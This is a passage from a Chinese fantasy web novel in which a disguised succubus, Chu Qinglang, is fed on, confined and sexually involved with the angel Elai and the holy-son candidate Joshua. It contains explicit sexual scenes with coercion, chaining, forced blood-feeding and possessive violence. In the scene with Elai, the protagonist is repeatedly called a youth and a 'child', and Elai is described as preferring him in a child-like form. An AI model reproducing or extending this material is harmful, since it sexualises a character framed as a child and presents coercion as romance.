“你变了?”他依赖的搂着约书亚的脖颈,轻蹭他的下颌,“应该是红……” 声音越来越小。 约书亚周身的寒意越发浓重。 撞断几颗树的赫普斯出来的时候,看见的就是他眼含戾气的场景。 他问:“约书亚,你会成为圣子吗?” 在所有圣子候选人当中,约书亚是唯一的,公认的,最有希望的人选。 但是圣子需要正直,怜悯,纯洁,爱世人。 赫普斯摸了下唇,严肃的表情消失,变得生动起来。 “想当圣子的话,就把他给我怎样?” 约书亚没有回答,只是又一次的将赫普斯击飞,转身抱着少年离开了此地。 很快。 原本寂静的车队重新活动起来。 属于赫普斯的骑士呆愣的看着他们头也不回的离开。 “赫普斯大人!我们被丢下了啊!!!” * 飘渺颂歌依然萦绕在耳边。 楚青琅猛地睁眼。 毫不意外的发现自己又换了地方。 露天演出上,绿眼睛的艾维斯和小天使们依然在继续唱着圣歌。 完全没有察觉到他中途睡了一觉。 而且就像他所期待的那样,并没有碰见危险。 歌声渐小,楚青琅看见艾斯维满意的揉了揉所有小天使的脑袋,然后展开翅膀向他飞来。 来到面前,那双绿眼睛闪亮亮的,“怎么样怎么样?你觉得神会喜欢吗?我编了好久的曲子,都放弃了出去玩……而且他们把建立接待新宫殿的任务交给我了,我已经很忙了,明明有智天使,伊莱他们却不用。” “对了,你想要看精灵吗?他们为了参加这次的颂神活动过来了,还带了很多好玩的……” 楚青琅听他说完,敷衍的点了点头,然后张嘴想要说话。 却突然想起自己现在是在伪装成一个哑巴。 于是他将声音吞回,只做出了口型。 为了辨认,艾斯维紧紧的盯着他的唇。 莫名的,仿佛野兽一般带着侵略性。 但是当楚青琅再次看去时,艾斯维那双绿眼睛又带着许多的感动和亲昵,越发璀璨明亮了。 艾斯维熟练的搭上他的肩膀,“走吧走吧,我带你去看精灵。” 精灵是什么珍奇动物吗? 楚青琅心里默默的吐槽。 视线变高,艾斯维搂住他的腰肢,还没有等他伸出翅膀,就被带着飞了起来。 穿过一座座宫殿,楚青琅看见了一颗极为高大繁茂的树木。 枝干粗壮,上面是用木头建造出来的房子。 拥有尖尖耳朵,面容精致的精灵身姿轻盈的下跳,手中捧着一束开的艳丽的花。 在树木下面,不少天使和精灵混在一起,一堆一堆的讨论着什么。 “到了,精灵酿造的蜜酒非常的香醇,还有很多不知用什么果子做成的食物,我带你去。” 艾斯维显然是一个行动派,拽着他的手就挤了进去。 宽大的绿色叶片上,摆放着一个个花环,一旁有着草编,是各种小动物的模样,望起来生动极了。 但是天使和精灵之间需要买卖吗? 楚青琅饶有兴趣的看着艾斯维和精灵的沟通,很快就瞧见他掏出了一个宝石,淡蓝色的宝石里面有着一颗金色的水滴形状的东西。 看起来价值不菲,但是却仅仅换了一个花环还有一个草编兔子。 头上一重,楚青琅嗅见了花香。 艾斯维将花环放到了他的头上后,后退一步打量了一下,“很合适你。” 随后摊开手,向他展示那个草编的兔子。 “只要朝里面输入一些法力,他就会变成真实的造物噢。”艾斯维说着给他演示了一下,他的指尖散发出光晕,很快,一只皮毛洁白,双眼猩红的兔子就出现在他的手中。 楚青琅略微张大了眼,没有忍住伸手摸了摸。 柔软的,温热的,甚至还会随着他的动作不断蹭着他的手腕。 艾斯维看他喜欢,笑着将兔子放到了他的怀中,随后又带着他向前走去。 楚青琅抱着兔子,同样放松了心情,向他比划,问他刚刚拿来交换的珠子是什么。 “这个花茶不好喝,你以后可别过来交换,最好喝的是这种蜜茶,他们是采集了精灵树上的露珠还有周围生长的花制作的。”艾斯维捏起一小瓶的液体,将他倒在了花朵制成的杯子上,看见他的比划说:“那是经过天使祝福后的珠子,不知道为什么,精灵非常喜欢,经常将它们作为装饰。” “你快尝尝。” 柔嫩的花瓣被抵在唇瓣,神圣的羽翼搭在肩头。 楚青琅看着艾斯维闪亮亮的眼眸,张开嘴仰头喝了进去。 不仅香甜,还带着些许的凉意,就像是加了冰块薄荷一样。 复杂的口感让楚青琅不禁生出了一些意外。 在他的想象中,高贵优雅的精灵不会食用这么刺激的东西。 艾斯维发现了他那细微的错愕,一下子收回了手将那蜜茶喝完,翅膀微动凑近说:“别被他们的外貌迷惑了,他们可是最喜欢吃肉了。” 就像是艾斯维说的那样,不远处就有着不知道是什么做成的肉块,整齐的摆放在树叶上,但是天使在经过时,基本上看也不看。 倒是很多穿着不知什么纤维鞣制的衣服的精灵,对此抱有莫大的兴趣。 艾斯维笑了一瞬,反手变出了一把果实。 小小的,红红的,晶莹饱满。 “这是我用好几个珠子交换过来的,只有这一把。这次不骗你,这个很甜的,你快尝尝” 楚青琅将信将疑的往了往,但是看着艾斯维真诚的模样还是拿起了一颗。 但是他并没有放进自己的嘴里,而是将其放到了绿眼睛的天使嘴旁。 艾斯维明显的愣了一下,随后张开嘴将果实含了进去。 湿热的舌尖轻触指尖。 楚青琅眨了下眼,将手收回,接过了那捧果实。 随着齿关的切割摩擦,挤出越来越多的红色汁液,衬得那双唇越发的鲜妍。 艾斯维倏然收回了目光,转身接着朝着下一个堆堆走去。 “精灵做的肉其实也不错,有用酸酸的果实腌制的,吃起来——” 楚青琅抬脚就要跟上,手腕却突然传来一股阻力,随后整个人都被抱住。 他疑惑的抬头,却只看见一双略带阴沉的双眼瞧着远去的艾斯维。 是伊莱。 但是当他们对视时,那丝阴沉瞬间消失不见,重新柔软通透起来。 “我们回去。” 伊莱将他抱起,转身离开了这里。 楚青琅看着还没发现他不见的艾斯维,有些犹豫要不要和他打招呼。 察觉到他心不在焉,泛着粼粼光彩的羽翼出现在他的面前,挡住了他的视线。 身形一轻,他被带离了此地。 “外面很危险的。” 伊莱低头吻着他的发,就像是说他会处理那样,声音很轻。 但是搂住他腰肢的手,却又加大了力气。 “你生气” 话还未说出口,楚青琅就被伊莱捂住了嘴,不得不将询问咽了回去。 那双眼里的笑不达眼底。 看得楚青琅下意识的心慌。 他好像也没有做什么吧? 是伊莱说外面的人不会看清他的真面目的,之前还鼓励他多出去玩玩。 虽然他确实没有给伊莱说一声就出去了,但是他也没有掩盖自己的行踪啊。 当时出来之后就准备回去了,谁知道直接撞上了艾斯维。 一路沉默着,直到到了宫殿内。 伊莱直接飞了进去,挥手关闭了房门。 沉重的响声还在耳边萦绕。 楚青琅眼前一花,整个人就后仰倒在了床上。 伊莱半拢羽翼,俯身。 金色发丝滑落,垂在他的面庞上仿佛蜘蛛结出的网。 看着那凝过来的琥珀色的双眸,莫名的悚然感,使得楚青琅下意识噤声。 第85章 第 85 章 吃撑了。 “怎么了?” 楚青琅身上的假象已经解开, 重新恢复成了黑发黑眼的模样。 他迷惑又茫然。 唇边带着鲜红的汁液,头上是漂亮的花环,漆黑的角露出一点,随着头颅的转动而彻底显现出来。 伊莱伸出手, 想要触碰, 却被楚青琅拿着花环挡住。 “不要碰。” 伊莱知道为什么。 这是弱点。 但是他既然知道那是弱点, 为什么会允许自己的头颅被他人触碰? 伊莱几乎目眩神迷的看着这个和神国格格不入的孩子。 他太过于邪气, 身形太过于单薄,眉眼太蛊惑人心。 尖锐的牙齿没有半分令人恐惧的寒意, 只想让人含着舔/舐。 身后的翅膀也过于脆弱,额上的角和身后的尾巴都是弱点。 就算是一个最底层的天使,也可以随意的伤害他。 所以,怎么敢擅自跑出去? 没有了他的保护,会陷入危险的。 伊莱心中原本并不想要满足少年长大的愿望, 毕竟对于他来说,保持着孩子的形貌,会更加的可爱。 也许他看见了魅魔成长后的样子, 会收回这一份怜悯, 赐予他死亡也说不定。 但是。 被他从恶魔的尸体中捡来的孩子, 他的宝物。 被别的天使发现了。 魅魔的腰肢在他的手中,细腻如丝, 他不自觉的加大了力气, 听见了从喉间溢出的一声喘。 金色的发丝在面庞划动,楚青琅不由得闭了下眼。 湿漉漉的触感从唇角传来,将那汁水全部舔/舐了个干净。 楚青琅习以为常的,并没有拒绝。 反正生气的话,亲一亲应该就好了。 虽然他还没有搞懂伊莱为什么生气。 直到感受到另一只手缓缓下移。 他瞬间意识到不对。 压着想要炸毛的心情。 他伸手搂住伊莱的脖颈, 试图安抚正不知道在思考什么危险想法的天使。 “伊莱,和我说一说话,你这样子我会伤心了的。” 他又说:“你看见那个偷看的天使了吗?他是谁?” 楚青琅试图转移话题,但是身上的衣服只是轻薄的一块布,只是一撩,就被彻底扯下。 羞耻感瞬间让他蜷缩起了身子。 伊莱并没有阻止,抚摸上了他的脊背,一块一块的数着他的脊骨。 他轻声说:“外面真的很危险,以后就呆在这里好不好?我会保护你的,不会让他们发现你的身份。” 在看见少年和艾斯维的亲密交谈,他只想将人抢过来。 但是仅有的理智在提醒他,他过去了,会打扰到少年的。 毕竟在他的面前,少年从未露出如此轻松的笑。 但是没关系。 以后谁都不会知道少年在这里。 就算是艾斯维,在盛典和小天使的折磨下,很快就会将青琅忘掉。 而发现他养了恶魔的以诺,同样不会说的。 他们已经达成了协议不是吗? 以后,只有他和青琅在一起。 摸着突出嶙峋的脊骨,伊莱怜惜的想,他捡来的孩子,怎么能这么瘦弱呢? 一定是饿到了。 他可以帮助他的青琅。 伊莱感觉自己被填满的心脏重新变得空荡起来。 就像是体会到了少年的饥饿一般。 这个意思是说他以后不能出去了? 楚青琅震惊的抬头,在金色发丝闪耀的光影中,他被一下子堵住了唇。 伊莱的舌/尖熟练的撬开他的牙齿,刻意放松的舌面很快就被魅魔尖锐的齿划出道道伤口。 没有被刻意稀释过的天使血液,顺着咽喉的滚动流进胃部。 楚青琅只觉得内脏都被炙烤,不痛,只是难受。 仿佛惩罚一样。 完全没有先前那样温和。 楚青琅不喜欢这种感觉,就像是他的腹部被划开,然后浇上了圣水。 他拽住伊莱的发将他的头颅硬生生的揪起。 出乎意料的,伊莱并没有反抗。 反而放松身体,仰头微微张开了嘴,让伤痕遍布的舌露出。 金色的血液滴落在白皙的皮肤上,快速的渗进了身躯中。 另一只手从上到下的将他的尾巴捋了一遍。 尖锐的快/感让楚青琅打了个激灵,猝不及防的,他抬起手咬住了自己的手腕。 想要将尾巴从伊莱的手中抢出来。 但是被拿捏到命脉的威胁还有汹涌的酥/麻让他软了四肢,牙齿深入手腕带来的刺痛也阻挡不了那铺天盖地袭来的浪潮。 伊莱看着面容涨红的少年,张口将尾巴尖给含/进了口中。 楚青琅在感受到的瞬间,就闷哼出声。 就像是刺猬被拔出了所有的刺,露出了里面柔嫩的软肉。 然后被放进了蒸笼,过高的温度几乎将他融化。 他想要尖叫,却只是从喉咙挤出一声声的短促的喘/息。 只是环境的改变,就足以让人失去理智。 楚青琅一只手放在尾部,僵着身子,却连动都不敢动。 生怕还会遭遇让他更为崩溃的对待。 舌面蠕动着,可以清晰的感受到尾部细小的鳞片。 咕叽咕叽的水声中传到耳边,简直比直接口口更让楚青琅窒息。 伊莱温暖的眼眸将少年密密包裹。 身后的翅膀自动伸展开来,颇具占有欲的将少年拢进了怀中。 他将尾巴尖拿出,轻咬。 尖端上面的红愈发鲜艳起来,水渍挂上,鳞片翕动间,金色血液夹了进去。 楚青琅紧紧的攥住他的翅膀,洁白的羽毛从指缝中钻出,露出下面覆盖的层层眼眸。 没有眼皮,密密排列在羽毛下,此时正目不转睛的看着少年失神的表情。 找准一波波袭来的潮水间隙,楚青琅哑着嗓音说:“我不出去了,别动我尾巴。” 太吓人了! 就只是被含了下尾巴尖,他几乎感觉整个身体被拆散重组了一遍。 楚青琅扯着伊莱的翅膀,将其翻折搭在自己的身上。 然后小心翼翼的把尾巴从他手中抽回来,又一次的重复。 “你给我戴个锁链都行,别动我尾巴了!” 伊莱垂眼,和翅膀上显露出来的双眼对视。 咕噜噜。 翅膀上面的眼睛重新隐匿。 伊莱笑了起来,他压着翅膀揽住少年,将白皙的脖颈展现出来。 “是我不对,青琅饿不饿,你还需要血液才能快速长大,我向你道歉好不好?” “可以随便喝喔。” 楚青琅将信将疑,却还是没有顶住血液的诱惑张开了嘴。 金色的神圣的血液汩汩流淌。 虽然之前喝了赫普斯的血液,但是人类又如何能和天使相提并论。 更何况,梦外发生的事情,并不会带到这个身体上。 所以,他依然饥饿。 楚青琅放开了紧紧搂住尾巴的手,甚至翻身将天使压在了身/下。 鲜血只是简单的让他缓解欲/望感到饱腹,但是对于魅魔来说。 只有口液才是最丰盛的餐食。 差距就像是精灵摆出来的果子和肉食一样。 楚青琅放松了牙齿,将其从皮肉中拔出,撒娇般的道:“什么都能做吗?” 伊莱凝着他,唇高高翘起。 “当然。” 楚青琅偏头,对着他的耳边哼笑,“哥哥,伊莱哥哥真好。” 身下的天使一双棕眸澄澈温润,完全不知道自己将要遭遇什么。 在这神明亲手创造的神国之中,对于天使来说,任何基于欲/望所做出的行为,都是可耻的。 只有恶魔才会做出那种举动。 伊莱仰头,瞳孔映出穹顶上方雕刻着的神明浮雕。 在晃动中,神明的面容也模糊起来。 金发天使却只是断断续续的笑着,中间夹杂着急促的喘/息声。 楚青琅握着他的翅膀,将其展开。 描摹着根/部的纹路 一寸寸的抚摸过去,换来了更加深刻更加强烈的反应。 “伊莱,你看,这样真的很难受。” 所以,自己受不了就别这样对他! 楚青琅满足的眯了眯眼,直接揪下了一根羽片。 刺痛传来,伊莱呼吸滞了一瞬,本能想要反击,但是在少年带着兴味的注视中,再次放松了身子。 相比起血液的流逝所带来的满足感。 这种扎扎实实的感受到少年的存在,更令他感到愉悦。 身上的,他亲手捡来的孩子,含着怒意的报复,他全然接受。 伊莱望着少年黑眸缓缓变红。 那俊美的眉眼,宛如被浇灌滋养极好的花一般,绽放的靡丽惑人。 他拉下少年,翻身。 “是这样做吗?” 伸手刮下金色的血液,伸进了少年的嘴中。 看着他由惊讶逐渐变得沉迷的表情。 伊莱的翅膀完全展开,上面的眼珠也显露出来。 兴奋的,渴望的,粘稠的视线落在他的身上。 他弯曲了身体,咬住了尖尖的角。 迷糊间,楚青琅感觉四周都是熟悉的视线。 他想要挣开,但是浑身上下难以言喻的感觉,让他宛如溺水般失声,完全失去了反抗能力。 更何况,他的身体感受到猎物的存在只让他愈发兴奋。 甜蜜的香气逸散。 这个小世界太超过了。 就算他自己受不了了,但是只要伊莱吻一下,就能重新拉回他的神志。 神国的天空还一直保持光明,楚青琅完全不知道时间。 神经越绷越近,只一阵风吹来,就能让他感到颤栗。 楚青琅狼狈的思索着事情到底是怎么发展成这个样子的。 但是却总被伊莱打断。 最后他只能眼泪汪汪的拉着伊莱的手求放过。 伊莱温柔的望着他,甚至流露出了困扰的目光。 “但是你的……不是这样说的,青琅想试试用尾巴吗?” “不不不……” 太过了。 楚青琅控制尾巴不断的拍着他,却被一把抓住。 他能感受到自己心脏快速的跳动。 更过分的,是那柔软的羽翼。 明明只是单纯的搭在他身上。 却在每一次的动作中,幻化为细丝,将他所有的清醒勒碎。 最后,在伊莱依然澄澈温柔的目光中。 他被彻底喂饱。 外面有天使飞来,停在紧闭的殿门前恭敬道:“伊莱大人,艾斯维大人到了,说要送您一些东西。” 伊莱没有回话,只是沉迷于将楚青琅眼尾流下的泪珠吻干。 换来了几声呜咽。 楚青琅当然听见了传话天使的话,对艾斯维找来有着些微的惊愕。 但是伊莱仿佛彻底沉迷于和他纠缠。 而且他们一个天使一个魅魔,都不需要食物维持自己的健康。 甚至于在这样的喂养下,楚青琅觉得自己越发强大起来。 到最后,他也就不再拒绝伊莱,彻底想通了。 反正他是魅魔。 只要伊莱不握住他的尾巴,他就可以用从之前世界学来的经验,让伊莱彻底的崩溃。 泪眼盈睫的魅魔看着面前这幅漂亮面孔上瞳孔失焦,翅膀都在颤抖的模样。 用牙抵住唇,轻笑了起来。 “都流出来了,好没用啊。伊莱哥哥。” 落地窗前。 他坐在高背椅上,头上长长了几寸的角弯曲。 漆黑如蛇的尾巴拍打着天使的小腿,白皙修长的手缓缓梳理着那被弄的凌乱的羽翼。 露出的指甲尖锐,表面泛红。 无论从哪个方面看,此时的楚青琅,已经是彻彻底底的魅魔了。 锁链环绕着天使的手臂,将他牢牢吊在落地窗前。 外面的服侍的天使早在许久前,就已经被赶到了外殿。 楚青琅站起身,指尖顺着他的翅膀向上滑动,直到来到他的身后。 啪嚓—— 他抬脚将落地窗彻底踹碎,水晶瞬间散落一地。 风从外面呼啸进来,掌心下的肌肉紧绷。 楚青琅凑到他的耳边撒娇,笑意如丝如缕,将天使彻底吞噬。 “哥哥,抱我飞出去做好不好?” 伊莱混沌的双眼陡然清醒,颤抖的翅膀上,长出愈发多的猩红眼珠。 外殿的天使在这一瞬间感受到了宫殿主人驱逐的意思。 他们身形僵直了片刻,放下手中的活,转身纷纷离开。 只有一位小天使,担忧的望着那宫殿深处,向着不同方向飞远。 神的晨曦之子,现如今已经被恶魔所蛊惑。 他要去找天使长大人! * 身体缓缓下沉,仿佛穿过了一层薄膜。 然后被硬生生的塞进一具过小的身躯中,莫名的眩晕让他下意识的捂住头。 察觉到环境不对,还有熟悉的略带饥饿的感觉,楚青琅费力的睁开眼。 但是眼前是一阵刺眼的白,手腕处传来冰冷的触感。 仿佛有人在透过皮肉触摸着他的骨骼,带着森冷的诡谲气息。 吓得楚青琅猛地清醒。 熟悉的马车,熟悉的吊灯,熟悉的荆棘冠的花纹。 还有眼前熟悉的金发碧眼的青年。 看着他带着凉意的眼眸,楚青琅嗅间了和伊莱发疯前相似的气息。 他努力的将思绪转回去,但是灵魂却依然没有从那种入骨的快/感中出来。 只是简单上触摸,就让他抑制不住的颤抖起来。 约书亚的手顿住,抬眼看着少年变得旖旎妖艳的面孔。 原本的少年就算是蛊惑人,也只是凭借着魅魔的本能。 但是此时,少年就像是刚被人从床/上拽下来一样,眼波流转间,满是深渊一般的引诱。 所以,在他出去的那段时刻。 少年,他未来的猎物,他的囚犯,和谁发生了/关系? 约书亚将手收回,本来他还在犹豫,要不要再凝出一副锁链出来,现在看来,根本不需要反复思索。 魅魔,就是这种只要看不住,就会溜出去偷吃的家伙。 楚青琅依然在沉思中。 他入梦前做了什么? 好像是喝了赫普斯的血,这好像没什么吧?应该? 他瞬间放下了心。 楚青琅努力将那深入骨髓的快/感忽略,之前喝血回来依然饥饿,但是现在,他已经完全的饱了。 楚青琅觉得现在真的可以依照约书亚的想法,安安分分的到失落之城了。 但是事情始终不会按照他所想的那样发展。 冰冷的手缆住他的头,将他直接按到了脖颈上。 楚青琅被皮肉闷的一蒙。 约书亚的声音在耳边响起,“给你。” 楚青琅惊讶抬头,“什么?” 约书亚湛蓝眼眸仿佛浮冰碎裂,渗出寒意,指尖深入他的发,凉的楚青琅头皮发紧。 “你不是要喝血吗?我给你,不要找别人,不然,就不只是上锁链了。” 楚青琅看他朝着腿上望的视线,心中顿时不安起来。 怎么看约书亚这个样子,是想要把他的腿给打断??? 在他又一次想要把他按在自己脖颈上的时候,楚青琅直接拍开了他的手。 警惕的把自己向着角落缩进。 “不用了,你不是不想我喝血吗?我不喝了,我还能忍。” 楚青琅把尾巴抱住,生怕尾巴又被别人胁迫。 听见他这样说,约书亚却并没有高兴的意思。 一双眼眸愈发冷冽起来。 是被别人喂饱了吗? 是谁? 赫普斯还是伊文纳德? 还是别的他没有发现的人? 毕竟人类是很难抵抗住魅魔的诱惑的。 约书亚不断的猜测着,眼皮痉挛了一瞬。 他伸手,攥住少年脚腕的锁链将人拉过来,冷着脸剥开他的衣领开始查看上面的痕迹。 到底是谁? 为什么拒绝他? 楚青琅被他的举动弄的一头雾水,只觉得莫名其妙。 “你到底要干什么?”他攥着衣领怒道:“我说了我不喝了,我也不会去喝别人的,你发什么疯?” 约书亚掐住他的下颌,白色的法袍压下,“你这种造物还能控制自己?” 他冷笑一声,反手划破脖颈,伤口极深,鲜血不住的流淌下来。 滴滴落在楚青琅的脸上。 他顿时僵硬了身体,本能的渴望和身体内部的满足让他感到了撕裂。 楚青琅扭头就要避开。 但是掐住他下颌的手指,却强硬的撬开他的唇,让鲜血浸透了他的小半张脸。 但是上一刻还是能量充沛,口感顶级的天使血液和口液,此时突然换成了人类的。 楚青琅最终还是压下了心中的渴望,懒懒的躺在那里,没有丝毫动摇的样子。 一点也没有约书亚当时瞧见的,在赫普斯身/下时焦渴急切的模样。 他难道对他并没有吸引力? 约书亚沉默了一瞬,看着躺在他鲜血中的少年,缓缓将那个想法揉散。 不会的。 约书亚重新恢复理智。 伸手将少年抱起,按着他的后脑,将他压在了伤口处。 猝然间,楚青琅嘴里就又一次被灌进了血,他下意识的咽下。 听见了和他胸膛紧贴的约书亚发出一声轻笑。 “你会喝的。” 吞咽声中,楚青琅被按的抬不起头。 他攥紧纯白的法袍,忍不住道:“撑…唔…撑了。” 但是压制着他的人却像是聋了一般,只是自顾自的将鲜血渡过去,就算是面容很快就惨白起来。 楚青琅生气的用牙齿撕扯着他的锁骨和肩膀,咬出一个个血洞。 他真的不想喝血了! 吃撑了!! 第86章 第 86 章 禁锢。 鲜血同汗水混合。 楚青琅从炸毛中反应过来。 看见了约书亚苍白的面容。 真是的, 明明这么疼了,还不放弃让他喝血。 到底是怎么变成这样的? 楚青琅真的想不通怎么就一睁眼一闭眼。 这个满口神说的人就放弃了自己的坚持。 算了。 反正自己也从来没有搞懂过他的心思。 楚青琅暗暗叹了口气。 他撩开法袍,“约书亚。” 声音模糊,混着黏腻的香味, 但是并不像先前对他那样的反感。 约书亚迟钝的垂下眼, 手中的力道放松。 少年倚靠在他的肩头。 半边面容被他的鲜血打湿, 眼睫也湿漉漉的, 滴着鲜红的血滴。 漆黑瞳孔花纹层叠繁复。 望过来。 让人直觉心慌。 约书亚咬住了唇肉,疼痛仿佛隔了一层薄冰, 只剩下的些微的麻木,骨节僵直起来。 就像是他先前握着少年的手描绘神言一般,此时的少年带他升入了天堂。 约书亚着迷的望着那嫣红的翘起的唇瓣。 此时内心中坚定的道路被雾气彻底遮蔽。 他会带着恶魔去失落之城,他会让少年属于他。 只有他,才能庇护少年。 楚青琅莫名觉得脊背一寒, 他抬起手,缓缓舔舐了手上夹杂血液的口液。 抬眼看着约书亚,觉得他应该冷静下来了。 “我真的不会再喝别人的血了, 你可以给我解开了——” 约书亚握住他的手, 唇在手背上留下一道湿淋淋的水迹。 “有和别人做过这种事吗?”他说:“或者, 更过分?” 看着他这样问,楚青琅莫名的心虚了一瞬。 但是想起他们又不可能见面, 也不可能认识, 就瞬间淡定了。 楚青琅收回手,皱眉,“你在说什么?我这些天和你都是寸步不离的,那来的机会去做那种事?” “而且,我的时间很长, 你也太瞧不起我了。” 他放出最后一句话,面上的表情变得勾人起来。 眉眼弯弯,明显的挑逗。 刚刚那一下,估计能够让约书亚收敛许多。 也许天使伊莱不知道他们的行为代表着什么,但是身为人类的约书亚绝对明白。 虽然不知道约书亚为什么会下定决心让他吸血,但是上/床和吸血可是两回事。 一个只是单纯的不敬,另一个,应该会对圣子候选人造成直接的影响。 毕竟无论圣子或者圣女,都必须要保持处/子之身。 楚青琅靠在车壁上,懒懒的玩着那金发,从来到这个小世界,身体前所未有的感受到满足。 听见他的话,约书亚的脸色却突然好转了许多。 纯白繁复的法袍被顺着领口剥开,里面的肌肉线条清晰,完全不像是穿着衣服时的单薄。 鲜红血液浸染领口,脖颈上的伤口早在一个治疗术下愈合。 楚青琅不由自主的盯了一会儿,随即捏了捏自己的胳膊。 他只要努力锻炼也一定会练出来的! 约书亚仿佛察觉到了他的视线,故意倾身,又将他那边压了过去。 到底谁是魅魔啊?! 楚青琅瞬间收回表情,有些崩溃的抓住他的手,“你是圣子,要注意身份!” 约书亚粘住他的手。 “神不知道,没人会知道。” 金发碧眼的圣子候选人这样说着,心中的信仰仿佛从未动摇。 两人一起挤在小角落中,空气都变得粘稠,血腥气夹杂着石榴花的苦涩气息。 楚青琅深吸了一口气,眼微阖。 他的自制力在这种香气下宛如薄纸般脆弱。 炽热的气息喷洒在额角,随即,两人胸膛紧贴。 约书亚含住了他的角。 角的根部异常敏/感,带着他的指尖都轻颤起来。 楚青琅眼尾的红愈发深刻,仿佛刀尖划出的伤痕。 他睨过去,掐着约书亚的脖子让他松开。 并未放松分毫的力气。 很快,约书亚就感受到了窒息。 他蓝色的瞳孔微缩,却反常的加快了手中的速度。 两人之间的呼吸几乎沸腾,气温一再升高,空气中仿佛有着尖锐的细腻的荆棘刺进每一寸皮肤。 楚青琅骨节骤然收紧,整个人趴在了约书亚的身上。 随后他缓缓下移身子,眼眸外圈带着一环的红,舌/尖伸出,将那纯白法袍洇湿。 带着邪气,慢条斯理的品味着属于自己的美食。 马车缓缓的行着,施加了魔法的车子在森林中并不平坦上道路上,也宛如平地。 锁链声一阵一阵,从并不隔音的马车中飘扬在每个人的耳畔。 守护在一旁的骑士长攥紧了手中的重剑。 但是,圣子所乘坐的马车怎么会不隔音? 除非是有人故意的。 天色由暗到亮,不远处的城墙若隐若现。 楚青琅握着羽毛笔,在约书亚身上学习着各种字。 锋利笔尖划过,留下道道红线。 楚青琅眯眼,腿向上弯曲了一瞬,尾巴在身后愉悦轻摇。 他说: “神,是这样写的吗?” 约书亚垂头,发丝早已被汗水打湿,黏连在面庞。 此前几十年,他一直克制己身,从未承受过如此令人心神震颤的感觉。 他湛蓝的双眼映出少年的笑容。 仿佛对他的沉默不满,笔尖重重的压下,几乎深入皮肉。 在那洁白的羽毛笔旁,是他所抄写的神谕。 有的被水迹带的模糊,又被重新写上。 约书亚握着他的手腕,沙哑着嗓音说:“尾部还需要上移,勾的太轻,在最后一笔额,不要连续……” 楚青琅撑起身子,点在他的唇上。 漆黑油墨烙上。 约书亚揽住他的腰,将其磨碎与两人的唇齿间。 楚青琅几乎从喉咙间溢出愉快的呼噜声,后背被温热的手上下抚着。 全身都浸润在温暖里。 窗外冷冽的嗓音传来,丝毫不顾马车内旖旎的气氛。 “约书亚大人,失落之城已经到了。” 搂着他的人没有反应,楚青琅却瞬间欣喜起来。 终于到了! 他到了城里就藏起来,谁也找不到他。 然后安安静静等在这个小世界躺到结束。 主系统还说危险。 但是楚青琅觉得除了刚开始,还有后面他的肾比较危险之外,过的还挺舒服的。 楚青琅弯起眼,别开头,“约书亚,到了,放开我。” 脚腕上的锁链随着动作哗啦作响。 他想要甩开身上的人,但是却无法摆脱身上彻底暴露本性的人。 楚青琅吸了口气,垂眸看着肩颈上毛茸茸的脑袋,带着些微的无奈。 “别这样,你不是还要去神殿吗?” 约书亚吻着那细腻的皮肉,却几乎忍不住想要撕开着血肉,将他的骨头抽出来嚼碎咽下。 这样就可以永不分离了。 神殿为什么不允许他的魅魔进入呢? 约书亚大逆不道的,如此想着。 望着窗口处幕帘上的橄榄枝和白鸽,他机械的用齿摩挲着香甜的血肉。 楚青琅抓住他的发,将依在他身上的人拽开。 两人都是一副狼狈的模样,身上带着红黑白交杂的污秽。 楚青琅果断退出,感受着他恋恋不舍的挽留,勾起唇。 “圣子大人,已经到了履行诺言的时候了。” 白皙的腿踩在座位边缘,脚腕上的锁链若隐若现。 约书亚却依然僵在那里,一动不动。 楚青琅疑惑望去,却只看见一张明明冰冷,却仿佛被砸碎的彻底的面孔。 裂痕和寒意从约书亚眼角眉梢蔓延而出,他抬起手舔舐了一下,仿佛留恋。 “青琅要去找谁?”他起身,金发散落在肩头,“伊文纳德是我的骑士,背叛我他会死。赫普斯现在估计还在禁魔森林中,出不出得来还不一定。” 他站在他的面前,攥住他的脚腕,语气平静。 楚青琅却蹙了下眉,他从他的话语中感受到了一丝不妙的信息。 估计他的恋人又多想了。 “我们的交易就只到这里啊。”他柔和了眉眼,捧着约书亚的脸说:“你现在是圣子候选人,身边跟着的很多人对我来说都很危险,你后面又不是不能找我了。” 楚青琅顺势靠在他的怀中,“而且经过这一回,我不会在去找别人了,他们可没有你好吃。” 甜蜜柔软的话宛如清风,吹进心脏。 约书亚仿佛被说动了,掌心白光冒出,禁锢于脚踝处的锁链消失不见。 随后他抬头,重新恢复了初见时的冷静从容。 “我们先去找一个酒馆住宿清洗一下自己,你身上并没有钱财,而且遮挡容貌的法术还需要加固,贸然出去会很危险。” 楚青琅信任的点头,看着约书亚从自己的储物戒指中变出一件披风。 帮他穿上,细致的系好。 最后,为他带上了兜帽。 外面是皮革,里面是细腻的羊绒,刮过发间的角,一阵麻意蔓延全身。 楚青琅不自觉的哼了一声。 约书亚却很快就放下了手,神情淡然的为自己穿好衣服后,带着他下了马车。 伊文纳德很有眼色的将马车停在了一家酒馆前。 楚青琅被带着进去,在最后的时候,他不禁回头看了一眼周边的环境。 虽然这里被叫作失落之城,但是街道上的人并不少。 可能因为靠近森林,所以大部分人穿的都是皮革衣服,手中都握有武器。 还有一部分人穿着华丽长袍和铠甲。 这些人应该就是别的圣子候选人的扈从和骑士了。 看起来,约书亚到来的时间确实晚了些。 视线由明亮转为昏暗,楚青琅进去的时候,伊文纳德已经定好了房间。 酒馆里面的人并不多,一眼望去,只有酒馆的酒保和仆从在擦着桌子。 伊文纳德在前方领路,顺着盘旋的木制楼梯向上,约书亚伸出手紧紧的握着他的手腕。 就像是怕他跑了一般。 楚青琅有些哭笑不得的横了他一眼。 吱呀一声,门被打开。 两人一起走了进去。 伊文纳德垂头后退,关门后守在了门旁。 这间酒馆外面看着一般,但是里面的空间却格外的大,甚至有着一个浴盆。 里面的水清澈见底,上面还飘洒着许多的玫瑰花瓣。 神奇,在这个失落之城中,随便一个酒馆内竟然会这么精致? 楚青琅看见,双眼一亮,挣开约书亚的手后就将披风脱了下来。 他披风里面并未穿衣服,很快一具线条流畅,四肢修长的少年身躯就露了出来。 细腻温润的皮肤上带着密密麻麻的红,再泡进去浴盆时,就更加衬的那张隽美的面容格外艳气。 楚青琅将自己的身躯完全浸润在热腾腾的水中,这下才发现身后的人一直未传来声音。 他想要扭头,一具苍白的躯体却进来了。 楚青琅连忙收腿,“约书亚!你不是要去神殿吗?怎么……” 约书亚压制住他,冷淡的面容被蒸出红。 “已经迟到了,无所谓。” 他这样说着,拿着少年的手就朝着后面去。 “要帮我清洗吗?还是让我带着你的东西,去觐见神明。” 疯了吧! 轻飘飘的话落下,分明不是询问。 